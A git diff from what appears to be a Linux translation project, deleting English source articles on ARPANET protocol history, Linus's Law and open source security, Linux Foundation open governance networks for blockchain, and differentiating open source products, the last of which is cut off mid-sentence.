meeting, was probably the oldest one there at around 38. ARPA had not put anyone in charge of figuring out how the computers would communicate once they were connected, but it was obvious that some coordination was necessary. As the group continued to meet, Crocker kept expecting some “legitimate adult” with more experience and authority to fly out from the East Coast to take over, but that never happened. The Network Working Group had ARPA’s tacit approval—all those meetings involved lots of long road trips, and ARPA money covered the travel expenses—so they were it.[17][22] - -The Network Working Group faced a huge challenge. Nobody had ever sat down to connect computer systems together in a general-purpose way; that flew against all of the assumptions that prevailed in computing in the late 1960s: - -> The typical mainframe of the period behaved as if it were the only computer in the universe. There was no obvious or easy way to engage two diverse machines in even the minimal communication needed to move bits back and forth. You could connect machines, but once connected, what would they say to each other? In those days a computer interacted with devices that were attached to it, like a monarch communicating with his subjects. Everything connected to the main computer performed a specific task, and each peripheral device was presumed to be ready at all times for a fetch-my-slippers type command…. Computers were strictly designed for this kind of interaction; they send instructions to subordinate card readers, terminals, and tape units, and they initiate all dialogues. But if another device in effect tapped the computer on the shoulder with a signal and said, “Hi, I’m a computer too,” the receiving machine would be stumped.[18][23] - -As a result, the Network Working Group’s progress was initially slow.[19][24] The group did not settle on an “official” specification for any protocol until June, 1970, nearly two years after the group’s first meeting.[20][25] - -But by the time the ARPANET was to be shown off at the 1972 ICCC, all the key protocols were in place. A scenario like the chess scenario exercised many of them. When a user ran the command `@e r`, short for `@echo remote`, that instructed the TIP to make use of a facility in the new TELNET virtual teletype protocol to inform the remote host that it should echo the user’s input. When a user then ran the command `@L 134`, short for `@login 134`, that caused the TIP to invoke the Initial Connection Protocol with host 134, which in turn would cause the remote host to allocate all the necessary resources for the connection and drop the user into a TELNET session. (The file transfer scenario I described may well have made use of the File Transfer Protocol, though that protocol was only ready shortly before the conference.[21][26]) All of these protocols were known as “level three” protocols, and below them were the host-to-host protocol at level two (which defined the basic format for the messages the hosts should expect from each other), and the host-to-IMP protocol at level one (which defined how hosts communicated with the routing equipment they were linked to). Incredibly, the protocols all worked. - -In my view, the Network Working Group was able to get everything together in time and just generally excel at its task because it adopted an open and informal approach to standardization, as exemplified by the famous Request for Comments (RFC) series of documents. These documents, originally circulated among the members of the Network Working Group by snail mail, were a way of keeping in touch between meetings and soliciting feedback to ideas. The “Request for Comments” framing was suggested by Steve Crocker, who authored the first RFC and supervised the RFC mailing list in the early years, in an attempt to emphasize the open-ended and collaborative nature of what the group was trying to do. That framing, and the availability of the documents themselves, made the protocol design process into a melting pot of contributions and riffs on other people’s contributions where the best ideas could emerge without anyone losing face. The RFC process was a smashing success and is still used to specify internet standards today, half a century later. - -It’s this legacy of the Network Working Group that I think we should highlight when we talk about ARPANET’s impact. Though today one of the most magical things about the internet is that it can connect us with people on the other side of the planet, it’s only slightly facetious to say that that technology has been with us since the 19th century. Physical distance was conquered well before the ARPANET by the telegraph. The kind of distance conquered by the ARPANET was instead the logical distance between the operating systems, character codes, programming languages, and organizational policies employed at each host site. Implementing the first packet-switched network was of course a major feat of engineering that should also be mentioned, but the problem of agreeing on standards to connect computers that had never been designed to play nice with each other was the harder of the two big problems involved in building the ARPANET—and its solution was the most miraculous part of the ARPANET story. - -In 1981, ARPA issued a “Completion Report” reviewing the first decade of the ARPANET’s history. In a section with the belabored title, “Technical Aspects of the Effort Which Were Successful and Aspects of the Effort Which Did Not Materialize as Originally Envisaged,” the authors wrote: - -> Possibly the most difficult task undertaken in the development of the ARPANET was the attempt—which proved successful—to make a number of independent host computer systems of varying manufacture, and varying operating systems within a single manufactured type, communicate with each other despite their diverse characteristics.[22][27] - -There you have it from no less a source than the federal government of the United States. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][28] on Twitter or subscribe to the [RSS feed][29] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> It's been too long, I know, but I finally got around to writing a new post. This one is about how REST APIs should really be known as FIOH APIs instead (Fuck It, Overload HTTP): -> -> — TwoBitHistory (@TwoBitHistory) [June 28, 2020][30] - - 1. “Hilton Hotel Opens in Capital Today.” _The New York Times_, 20 March 1965, . Accessed 7 Feb. 2021. [↩︎][31] - - 2. James Pelkey. _Entrepreneurial Capitalism and Innovation: A History of Computer Communications 1968-1988,_ Chapter 4, Section 12, 2007, . Accessed 7 Feb. 2021. [↩︎][32] - - 3. Katie Hafner and Matthew Lyon. _Where Wizards Stay Up Late: The Origins of the Internet_. New York, Simon & Schuster, 1996, p. 178. [↩︎][33] - - 4. “International Conference on Computer Communication.” _Computer_, vol. 5, no. 4, 1972, p. c2, . Accessed 7 Feb. 2021. [↩︎][34] - - 5. “Program for the International Conference on Computer Communication.” _The Papers of Clay T. Whitehead_, Box 42, . Accessed 7 Feb. 2021. [↩︎][35] - - 6. It’s actually not clear to me which room was used for the ARPANET demonstration. Lots of sources talk about a “ballroom,” but the Washington Hilton seems to consider the room with the name “Georgetown” more of a meeting room. So perhaps the demonstration was in the International Ballroom instead. But RFC 372 alludes to a booking of the “Georgetown Ballroom” for the demonstration. A floorplan of the Washington Hilton can be found [here][36]. [↩︎][37] - - 7. Hafner, p. 179. [↩︎][38] - - 8. ibid., p. 178. [↩︎][39] - - 9. Bob Metcalfe. “Scenarios for Using the ARPANET.” _Collections-Computer History Museum_, . Accessed 7 Feb. 2021. [↩︎][40] - - 10. Hafner, p. 176. [↩︎][41] - - 11. Robert H. Thomas. “Planning for ACCAT Remote Site Operations.” BBN Report No. 3677, October 1977, . Accessed 7 Feb. 2021. [↩︎][42] - - 12. Hafner, p. 12. [↩︎][43] - - 13. Joy Lisi Rankin. _A People’s History of Computing in the United States_. Cambridge, MA, Harvard University Press, 2018, p. 84. [↩︎][44] - - 14. Rankin, p. 93. [↩︎][45] - - 15. Steve Crocker. Personal interview. 17 Dec. 2020. [↩︎][46] - - 16. Crocker sent me the minutes for this meeting. The document lists everyone who attended. [↩︎][47] - - 17. Steve Crocker. Personal interview. [↩︎][48] - - 18. Hafner, p. 146. [↩︎][49] - - 19. “Completion Report / A History of the ARPANET: The First Decade.” BBN Report No. 4799, April 1981, , p. II-13. [↩︎][50] - - 20. I’m referring here to RFC 54, “Official Protocol Proffering.” [↩︎][51] - - 21. Hafner, p. 175. [↩︎][52] - - 22. “Completion Report / A History of the ARPANET: The First Decade,” p. II-29. [↩︎][53] - - - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2021/02/07/arpanet.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/ARPANET -[2]: tmp.pnPpRrCI3S#fn:1 -[3]: tmp.pnPpRrCI3S#fn:2 -[4]: tmp.pnPpRrCI3S#fn:3 -[5]: tmp.pnPpRrCI3S#fn:4 -[6]: tmp.pnPpRrCI3S#fn:5 -[7]: tmp.pnPpRrCI3S#fn:6 -[8]: tmp.pnPpRrCI3S#fn:7 -[9]: tmp.pnPpRrCI3S#fn:8 -[10]: https://archive.computerhistory.org/resources/access/text/2019/07/102784024-05-001-acc.pdf -[11]: tmp.pnPpRrCI3S#fn:9 -[12]: tmp.pnPpRrCI3S#fn:10 -[13]: tmp.pnPpRrCI3S#fn:11 -[14]: tmp.pnPpRrCI3S#fn:12 -[15]: tmp.pnPpRrCI3S#fn:13 -[16]: tmp.pnPpRrCI3S#fn:14 -[17]: https://twobithistory.org/2018/05/27/semantic-web.html -[18]: https://twobithistory.org/2018/12/18/rss.html -[19]: https://twobithistory.org/2020/01/05/foaf.html -[20]: tmp.pnPpRrCI3S#fn:15 -[21]: tmp.pnPpRrCI3S#fn:16 -[22]: tmp.pnPpRrCI3S#fn:17 -[23]: tmp.pnPpRrCI3S#fn:18 -[24]: tmp.pnPpRrCI3S#fn:19 -[25]: tmp.pnPpRrCI3S#fn:20 -[26]: tmp.pnPpRrCI3S#fn:21 -[27]: tmp.pnPpRrCI3S#fn:22 -[28]: https://twitter.com/TwoBitHistory -[29]: https://twobithistory.org/feed.xml -[30]: https://twitter.com/TwoBitHistory/status/1277259930555363329?ref_src=twsrc%5Etfw -[31]: tmp.pnPpRrCI3S#fnref:1 -[32]: tmp.pnPpRrCI3S#fnref:2 -[33]: tmp.pnPpRrCI3S#fnref:3 -[34]: tmp.pnPpRrCI3S#fnref:4 -[35]: tmp.pnPpRrCI3S#fnref:5 -[36]: https://www3.hilton.com/resources/media/hi/DCAWHHH/en_US/pdf/DCAWH.Floorplans.Apr25.pdf -[37]: tmp.pnPpRrCI3S#fnref:6 -[38]: tmp.pnPpRrCI3S#fnref:7 -[39]: tmp.pnPpRrCI3S#fnref:8 -[40]: tmp.pnPpRrCI3S#fnref:9 -[41]: tmp.pnPpRrCI3S#fnref:10 -[42]: tmp.pnPpRrCI3S#fnref:11 -[43]: tmp.pnPpRrCI3S#fnref:12 -[44]: tmp.pnPpRrCI3S#fnref:13 -[45]: tmp.pnPpRrCI3S#fnref:14 -[46]: tmp.pnPpRrCI3S#fnref:15 -[47]: tmp.pnPpRrCI3S#fnref:16 -[48]: tmp.pnPpRrCI3S#fnref:17 -[49]: tmp.pnPpRrCI3S#fnref:18 -[50]: tmp.pnPpRrCI3S#fnref:19 -[51]: tmp.pnPpRrCI3S#fnref:20 -[52]: tmp.pnPpRrCI3S#fnref:21 -[53]: tmp.pnPpRrCI3S#fnref:22 diff --git a/sources/talk/20210209 Understanding Linus-s Law for open source security.md b/sources/talk/20210209 Understanding Linus-s Law for open source security.md deleted file mode 100644 index bbaf38fdb0..0000000000 --- a/sources/talk/20210209 Understanding Linus-s Law for open source security.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Understanding Linus's Law for open source security) -[#]: via: (https://opensource.com/article/21/2/open-source-security) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Understanding Linus's Law for open source security -====== -Linus's Law is that given enough eyeballs, all bugs are shallow. How -does this apply to open source software security? -![Hand putting a Linux file folder into a drawer][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. This article discusses Linux's influence on the security of open source software. - -An often-praised virtue of open source software is that its code can be reviewed (or "audited," as security professionals like to say) by anyone and everyone. However, if you actually ask many open source users when the last time they reviewed code was, you might get answers ranging from a blank stare to an embarrassed murmur. And besides, there are some really big open source applications out there, so it can be difficult to review every single line of code effectively. - -Extrapolating from these slightly uncomfortable truths, you have to wonder: When nobody looks at the code, does it really matter whether it's open or not? - -### Should you trust open source? - -We tend to make a trite assumption in hobbyist computing that open source is "more secure" than anything else. We don't often talk about what that means, what the basis of comparison is ("more" secure than what?), or how the conclusion has even been reached. It's a dangerous statement to make because it implies that as long as you call something _open source_, it automatically and magically inherits enhanced security. That's not what open source is about, and in fact, it's what open source security is very much against. - -You should never assume an application is secure unless you have personally audited and understood its code. Once you have done this, you can assign _ultimate trust_ to that application. Ultimate trust isn't a thing you do on a computer; it's something you do in your own mind: You trust software because you choose to believe that it is secure, at least until someone finds a way to exploit that software. - -You're the only person who can place ultimate trust in that code, so every user who wants that luxury must audit the code for themselves. Taking someone else's word for it doesn't count! - -So until you have audited and understood a codebase for yourself, the maximum trust level you can give to an application is a spectrum ranging from approximately, _not trustworthy at all_ to _pretty trustworthy_. There's no cheat sheet for this. It's a personal choice you must make for yourself. If you've heard from people you strongly trust that an application is secure, then you might trust that software more than you trust something for which you've gotten no trusted recommendations. - -Because you cannot audit proprietary (non-open source) code, you can never assign it _ultimate trust_. - -### Linus's Law - -The reality is, not everyone is a programmer, and not everyone who is a programmer has the time to dedicate to reviewing hundreds and hundreds of lines of code. So if you're not going to audit code yourself, then you must choose to trust (to some degree) the people who _do_ audit code. - -So exactly who does audit code, anyway? - -Linus's Law asserts that _given enough eyeballs, all bugs are shallow_, but we don't really know how many eyeballs are "enough." However, don't underestimate the number. Software is very often reviewed by more people than you might imagine. The original developer or developers obviously know the code that they've written. However, open source is often a group effort, so the longer code is open, the more software developers end up seeing it. A developer must review major portions of a project's code because they must learn a codebase to write new features for it. - -Open source packagers also get involved with many projects in order to make them available to a Linux distribution. Sometimes an application can be packaged with almost no familiarity with the code, but often a packager gets familiar with a project's code, both because they don't want to sign off on software they don't trust and because they may have to make modifications to get it to compile correctly. Bug reporters and triagers also sometimes get familiar with a codebase as they try to solve anomalies ranging from quirks to major crashes. Of course, some bug reporters inadvertently reveal code vulnerabilities not by reviewing it themselves but by bringing attention to something that obviously doesn't work as intended. Sysadmins frequently get intimately familiar with the code of an important software their users rely upon. Finally, there are security researchers who dig into code exclusively to uncover potential exploits. - -### Trust and transparency - -Some people assume that because major software is composed of hundreds of thousands of lines of code, it's basically impossible to audit. Don't be fooled by how much code it takes to make an application run. You don't actually have to read millions of lines. Code is highly structured, and exploitable flaws are rarely just a single line hidden among the millions of lines; there are usually whole functions involved. - -There are exceptions, of course. Sometimes a serious vulnerability is enabled with just one system call or by linking to one flawed library. Luckily, those kinds of errors are relatively easy to notice, thanks to the active role of security researchers and vulnerability databases. - -Some people point to bug trackers, such as the [Common Vulnerabilities and Exposures (CVE)][2] website, and deduce that it's actually as plain as day that open source isn't secure. After all, hundreds of security risks are filed against lots of open source projects, out in the open for everyone to see. Don't let that fool you, though. Just because you don't get to see the flaws in closed software doesn't mean those flaws don't exist. In fact, we know that they do because exploits are filed against them, too. The difference is that _all_ exploits against open source applications are available for developers (and users) to see so those flaws can be mitigated. That's part of the system that boosts trust in open source, and it's wholly missing from proprietary software. - -There may never be "enough" eyeballs on any code, but the stronger and more diverse the community around the code, the better chance there is to uncover and fix weaknesses. - -### Trust and people - -In open source, the probability that many developers, each working on the same project, have noticed something _not secure_ but have all remained equally silent about that flaw is considered to be low because humans rarely mutually agree to conspire in this way. We've seen how disjointed human behavior can be recently with COVID-19 mitigation: - - * We've all identified a flaw (a virus). - * We know how to prevent it from spreading (stay home). - * Yet the virus continues to spread because one or more people deviate from the mitigation plan. - - - -The same is true for bugs in software. If there's a flaw, someone noticing it will bring it to light (provided, of course, that someone sees it). - -However, with proprietary software, there can be a high probability that many developers working on a project may notice something not secure but remain equally silent because the proprietary model relies on paychecks. If a developer speaks out against a flaw, then that developer may at best hurt the software's reputation, thereby decreasing sales, or at worst, may be fired from their job. Developers being paid to work on software in secret do not tend to talk about its flaws. If you've ever worked as a developer, you've probably signed an NDA, and you've been lectured on the importance of trade secrets, and so on. Proprietary software encourages, and more often enforces, silence even in the face of serious flaws. - -### Trust and software - -Don't trust software you haven't audited. - -If you must trust software you haven't audited, then choose to trust code that's exposed to many developers who independently are likely to speak up about a vulnerability. - -Open source isn't inherently more secure than proprietary software, but the systems in place to fix it are far better planned, implemented, and staffed. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/open-source-security - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/yearbook-haff-rx-linux-file-lead_0.png?itok=-i0NNfDC (Hand putting a Linux file folder into a drawer) -[2]: https://cve.mitre.org diff --git a/sources/talk/20210211 Understanding Open Governance Networks.md b/sources/talk/20210211 Understanding Open Governance Networks.md deleted file mode 100644 index 771947bb39..0000000000 --- a/sources/talk/20210211 Understanding Open Governance Networks.md +++ /dev/null @@ -1,100 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Understanding Open Governance Networks) -[#]: via: (https://www.linux.com/news/understanding-open-governance-networks/) -[#]: author: (The Linux Foundation https://www.linuxfoundation.org/en/blog/understanding-open-governance-networks/) - -Understanding Open Governance Networks -====== - -![][1] - -Throughout the modern business era, industries and commercial operations have shifted substantially to digital processes. Whether you look at EDI as a means to exchange invoices or cloud-based billing and payment solutions today, businesses have steadily been moving towards increasing digital operations. In the last few years, we’ve seen the promises of digital transformation come alive, particularly in [industries that have shifted to software-defined models][2]. The next step of this journey will involve enabling digital transactions through decentralized networks. - -A fundamental adoption issue will be figuring out who controls and decides how a decentralized network is governed. It may seem oxymoronic at first, but decentralized networks still need governance. A future may hold autonomously self-governing decentralized networks, but this model is not accepted in industries today. The governance challenge with a decentralized network technology lies in who and how participants in a network will establish and maintain policies, network operations, on/offboarding of participants, setting fees, configurations, and software changes and are among the issues that will have to be decided to achieve a successful network. No company wants to participate or take a dependency on a network that is controlled or run by a competitor, potential competitor, or any single stakeholder at all for that matter. - -Earlier this year, [we presented a solution for Open Governance Networks][3] that enable an industry or ecosystem to govern itself in an open, inclusive, neutral, and participatory model. You may be surprised to learn that it’s based on best practices in open governance we’ve developed over decades of facilitating the world’s most successful and competitive open source projects. - -### The Challenge - -For the last few years, a running technology joke has been “describe your problem, and someone will tell you blockchain is the solution.” There have been many other concerns raised and confusion created, as overnight headlines hyped cryptocurrency schemes. Despite all this, behind the scenes, and all along, sophisticated companies understood a distributed ledger technology would be a powerful enabler for tackling complex challenges in an industry, or even a section of an industry. - -At the Linux Foundation, we focused on enabling those organizations to collaborate on open source enterprise blockchain technologies within our Hyperledger community. That community has driven collaboration on every aspect of enterprise blockchain technology, including identity, security, and transparency. Like other Linux Foundation projects, these enterprise blockchain communities are open, collaborative efforts. We have had many vertical industry participants engage, from retail, automotive, aerospace, banking, and others participate with real industry challenges they needed to solve. And in this subset of cases, enterprise blockchain is the answer. - -The technology is ready. Enterprise blockchain has been through many proof-of-concept implementations, and we’ve already seen that many organizations have shifted to production deployments. A few notable examples are: - - * [Trust Your Supplier Network][4] 25 major corporate members from Anheuser-Busch InBev to UPS In production since September 2019. - * [Foodtrust][5] Launched Aug 2017 with ten members, now being used by all major retailers. - * [Honeywell][6] 50 vendors with storefronts in the new marketplace. In its first year, GoDirect Trade processed more than $5 million in online transactions. - - - -However, just because we have the technology doesn’t mean we have the appropriate conditions to solve adoption challenges. A certain set of challenges about networks’ governance have become a “last mile” problem for industry adoption. While there are many examples of successful production deployments and multi-stakeholder engagements for commercial enterprise blockchains already, specific adoption scenarios have been halted over uncertainty, or mistrust, over who and how a blockchain network will be governed. - -To precisely state the issue, in many situations, company A does not want to be dependent on, or trust, company B to control a network. For specific solutions that require broad industry participation to succeed, you can name any industry, and there will be company A and company B. - -We think the solution to this challenge will be Open Governance Networks. - -### The Linux Foundation vision of the Open Governance Network - -An Open Governance Network is a distributed ledger service, composed of nodes, operated under the policies and directions of an inclusive set of industry stakeholders. - -Open Governance Networks will set the policies and rules for participation in a decentralized ledger network that acts as an industry utility for transactions and data sharing among participants that have permissions on the network. The Open Governance Network model allows any organization to participate. Those organizations that want to be active in sharing the operational costs will benefit from having a representative say in the policies and rules for the network itself. The software underlying the Open Governance Network will be open source software, including the configurations and build tools so that anyone can validate whether a network node complies with the appropriate policies. - -Many who have worked with the Linux Foundation will realize an open, neutral, and participatory governance model under a nonprofit structure that has already been thriving for decades in successful open source software communities. All we’re doing here is taking the same core principles of what makes open governance work for open source software, open standards, and open collaboration and applying those principles to managing a distributed ledger. This is a model that the Linux Foundation has used successfully in other communities, such as the [Let’s Encrypt][7] certificate authority. - -Our ecosystem members trust the Linux Foundation to help solve this last mile problem using open governance under a neutral nonprofit entity. This is one solution to the concerns about neutrality and distributed control. In pan-industry use cases, it is generally not acceptable for one participant in the network to have power in any way that could be used as an advantage over someone else in the industry.  The control of a ledger is a valuable asset, and competitive organizations generally have concerns in allowing one entity to control this asset. If not hosted in a neutral environment for the community’s benefit, network control can become a leverage point over network users. - -We see this neutrality of control challenge as the primary reason why some privately held networks have struggled to gain widespread adoption. In order to encourage participation, industry leaders are looking for a neutral governance structure, and the Linux Foundation has proven the open governance models accomplish that exceptionally well. - -This neutrality of control issue is very similar to the rationale for public utilities. Because the economic model mirrors a public utility, we debated calling these “industry utility networks.” In our conversations, we have learned industry participants are open to sharing the cost burden to stand up and maintain a utility. Still, they want a low-cost, not profit-maximizing model. That is why our nonprofit model makes the most sense. - -It’s also not a public utility in that each network we foresee today would be restricted in participation to those who have a stake in the network, not any random person in the world. There’s a layer of human trust that our communities have been enabling on top of distributed networks, which started with the [Trust over IP Foundation][8]. - -Unlike public cryptocurrency networks where anyone can view the ledger or submit proposed transactions, industries have a natural need to limit access to legitimate parties in their industry. With minor adjustments to address the need for policies for transactions on the network, we believe a similar governance model applied to distributed ledger ecosystems can resolve concerns about the neutrality of control. - -### Understanding LF Open Governance Networks - -Open Governance Networks can be reduced to the following building block components: - - * Business Governance: Networks need a decision-making body to establish core policies (e.g., network policies), make funding and budget decisions, contracting with a network manager, and other business matters necessary for the network’s success. The Linux Foundation establishes a governing board to manage the business governance. - * Technical Governance: Networks will require software. A technical open source community will openly maintain the software, specifications, or configuration decisions implemented by the network nodes. The Linux Foundation establishes a technical steering committee to oversee technical projects, configurations, working groups, etc. - * Transaction Entity: Networks will require a transaction entity that will a) act as counterparty to agreements with parties transacting on the network, b) collect fees from participants, and c) execute contracts for operational support (e.g., hiring a network manager). - - - -Of these building blocks, the Linux Foundation already offers its communities the Business and Technical Governance needed for Open Governance Networks. The final component is the new, LF Open Governance Networks. - -LF Open Governance Networks will enable our communities to establish their own Open Governance Network and have an entity to process agreements and collect transaction fees. This new entity is a Delaware nonprofit, a nonstock corporation that will maximize utility and not profit. Through agreements with the Linux Foundation, LF Governance Networks will be available to Open Governance Networks hosted at the Linux Foundation. - -If you’re interested in learning more about hosting an Open Governance Network at the Linux Foundation, please contact us at **[governancenetworks@linuxfoundation.org][9]** - -The post [Understanding Open Governance Networks][10] appeared first on [Linux Foundation][11]. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/understanding-open-governance-networks/ - -作者:[The Linux Foundation][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linuxfoundation.org/en/blog/understanding-open-governance-networks/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2021/02/understanding-opengovnetworks.png -[2]: https://www.linuxfoundation.org/blog/2020/09/software-defined-vertical-industries-transformation-through-open-source/ -[3]: https://www.linuxfoundation.org/blog/2020/10/introducing-the-open-governance-network-model/ -[4]: https://www.hyperledger.org/learn/publications/chainyard-case-study -[5]: https://www.hyperledger.org/learn/publications/walmart-case-study -[6]: https://www.hyperledger.org/learn/publications/honeywell-case-study -[7]: https://letsencrypt.org/ -[8]: https://trustoverip.org/ -[9]: mailto:governancenetworks@linuxfoundation.org -[10]: https://www.linuxfoundation.org/en/blog/understanding-open-governance-networks/ -[11]: https://www.linuxfoundation.org/ diff --git a/sources/talk/20210212 18 ways to differentiate open source products from upstream suppliers.md b/sources/talk/20210212 18 ways to differentiate open source products from upstream suppliers.md deleted file mode 100644 index 045a31836a..0000000000 --- a/sources/talk/20210212 18 ways to differentiate open source products from upstream suppliers.md +++ /dev/null @@ -1,124 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (18 ways to differentiate open source products from upstream suppliers) -[#]: via: (https://opensource.com/article/21/2/differentiating-products-upstream-suppliers) -[#]: author: (Scott McCarty https://opensource.com/users/fatherlinux) - -18 ways to differentiate open source products from upstream suppliers -====== -Open source products must create enough differentiated value that -customers will voluntarily pay for them versus another (or free) -product. -![Tips and gears turning][1] - -In the first three parts of this series, I explored [open source as a supply chain][2], [what a product is][3], and [what product managers do][4]. In this fourth article, I'll look at a plethora of methods to differentiate open source software products from their upstream open source projects. - -Since open source projects are essentially information products, these methods are likely to apply to many information-related products (think YouTube creators) that have a component of value given away for free. Product managers have to get creative when the information and material to build your product is freely available to users. - -### Creating and capturing value - -Product managers are responsible for creating solutions that attract and retain customers. To create a customer, they must provide value in exchange for money. Like a good salesperson, a product manager should never feel guilty about charging for their product (see [_How to sell an open source product_][5] by John Mark Walker). - -Products built on open source are fundamentally no different than any other products or service. They must create value for customers. In fact, they must create enough value that customers will voluntarily pay a price that is sufficient to pay for the development costs and return a profit. These products must also be differentiated from competing products and services, as well as upstream projects. - -![Inputs for creating value][6] - -(Scott McCarty, [CC BY-SA 4.0][7]) - -While products built on open source software are not fundamentally different from other products and services, there are some differences. First, some of the development costs are defrayed among all open source contributors. These costs can include code, testing, documentation, hardware, project hosting costs, etc. But even when development costs are defrayed in open source, costs are incurred by the vendor that productizes the code. These can include employee costs for research, analysis, security, performance testing, certification processes (e.g., collaborating with hardware vendors, cloud providers, etc.), and of course, sales and marketing. - -![Inputs for solving market problems][8] - -(Scott McCarty, [CC BY-SA 4.0][7]) - -Successful open source products must be able to charge a cost that is sufficient to pay for the defrayed upstream open source contributions (development costs) and the downstream productization costs (vendor costs). Stated another way, products can only charge a sufficient price if they create value that can only be captured by customers paying for them. That might sound harsh, but it's a reality for all products. There's a saying in product management: Pray to pay doesn't work. With that said, don't be too worried. There are ethical ways to capture value. - -### Types of value - -Fundamentally, there are two types of value: proprietary and non-proprietary. Proprietary is a bad word in open source software, but an attractive word in manufacturing, finance, and other industries. Many financial companies will highlight their proprietary algorithms and the same with drug companies and manufacturing processes. In software, proprietary value is often thought to be completely incongruous with free and open source software. People often assume proprietary value is a binary decision. It’s difficult for people to imagine proprietary value in the context of open source software without being artificially constrained by a license. However, as we’ll attempt to demonstrate, it’s not so clear cut. - -From an open source product management perspective, you can define proprietary value as anything that would be very difficult or nearly impossible for the customer to recreate themselves—or something the potential customer doesn't believe they can recreate. Commodity value is the opposite of proprietary. Commodity value is value the customer believes they could construct (or reconstruct) given enough time and money. - -Reconstructing commodity value instead of purchasing it makes sense only if it's cheaper or easier than buying a product. Stated another way, a good product should save a customer money compared to building the solution themselves. It's in this cost gap that open source products exist and thrive. - -With products built, or mostly built, on an open source supply chain, customers retain the "build versus buy" decision and can stop paying at any time. This is often true with open core products as well. As long as the majority of the supply chain is open source, the customer likely could rebuild a few components to get what they need. The open source product manager's job is the same as for any other product or service: to create and retain customers by providing value worth paying for. - -### Differentiators for open source product managers - -Like any artist, a product manager traffics in value as their medium. They must price and package their product. They must constantly strive to differentiate their product against competitors in the marketplace and the upstream projects that are suppliers to that product. However, the supply chain is but one tool a product manager can use to differentiate and create a customer. - -This is a less-than-exhaustive list that should give you some ideas about how product managers can differentiate their products and create value. As you read through the list, think deeply about whether a customer could recreate the value of each given enough time, money, and willpower. - - * **Supply chain:** Selecting the upstream suppliers is important. The upstream community's health is a selling point over products based on competing upstream projects. A perfect example of this kind of differentiation is with products such as OpenShift, Docker EE, and Mesosphere, which respectively rely on Kubernetes, Swarm, and Apache Mesos as upstream suppliers. Similar to how electric cars are replacing gasoline engines, the choice of technology and its supplier provide differentiation. - - * **Quality engineering:** Upstream continuous integration and continuous delivery (CI/CD) and user testing are wonderful bases for building a product. However, it's critical to ensure that the downstream product, often made up of multiple upstream projects, works well together with specific versions of all the components. Testing the entire solution together applies as much to differentiating from upstream suppliers as it does from competitive products. Customers want products that just work. - - * **Industry certifications:** Specific classes of customers, such as government, financial services, transportation, manufacturing, and telecom, often have certification requirements. Typically, these are related to security or auditing and are often quite expensive. Certifications are great because they differentiate the product from competitors and upstream. - - * **Hardware or cloud provider certifications:** The dirty secret of cheap hardware is that it changes all the time. Often this hardware has new capabilities with varying levels of maturity. Hardware certifications provide a level of confidence that the software will run well on a specific piece of hardware or cloud virtual machine. They also provide a level of assurance that the product company and the platform on which it is certified to run are committing to make it work well together. A potential customer could always vet hardware themselves, but they often don't have deep relationships with hardware vendors and cloud providers, making it difficult to demand fixes and patches. - - * **Ecosystem:** This represents access to a plethora of add-on solutions from third-party vendors. Again, the ecosystem provides some assurance that all the entities work together to make things work well. Small companies would likely find it difficult or impossible to demand that individual software vendors certify their privately built platforms. Integrations like these are usually quite expensive for an individual user and are best defrayed across a product's customers. - - * **Lifecycle:** Upstream projects are great because they move quickly and innovate. But many different versions of many different upstream projects can go into a single product's supply chain. Ensuring that all the versions of the different upstream projects work together over a given lifecycle is a lot of work. A longer lifecycle gives customers time to get a return on investment. Stated another way, users spend a lot of time and money planning and rolling out software. A product's lifecycle commitment ensures that customers can use the software and receive value from their investment for a reasonable amount of time. - - * **Packaging and distribution:** Once a vendor commits to supporting a product for a given lifecycle (e.g., five years), they must also commit to providing packaging and distribution during that time. Both products and cloud services need to provide customers the ability to plan a roadmap, execute a rollout, and expand over the desired lifecycle, so packages or services need to remain available for customer use. - - * **Documentation:** This is often overlooked by both open source projects and vendors. Aligning product documentation to the product lifecycle, versus the upstream supplier documentation, is extremely important. It's also important to document the entire solution working together, whether that's installation or use cases for end users. It's beneficial for customers to have documentation that applies to the specific combination of components they are using. - - * **Security:** Closely related to the product lifecycle, vendors must commit to providing security during the time the product is supported. This includes analyzing code, scoring vulnerabilities, patching those vulnerabilities, and verifying that they are patched. This is a particularly opportune area for products to differentiate themselves from upstream suppliers. It really is value creation through data. - - * **Performance:** Also closely related to product lifecycle, vendors must commit to providing performance testing, tuning recommendations, and sometimes even backporting performance improvements during the product's lifecycle. This is another opportune area for products. - - * **Indemnification:** This is essentially insurance in case the company using the software is sued by a patent troll. Often, the corporate legal team just won't have the skill set needed to defend themselves. While potential customers could pay a third party for legal services, would they 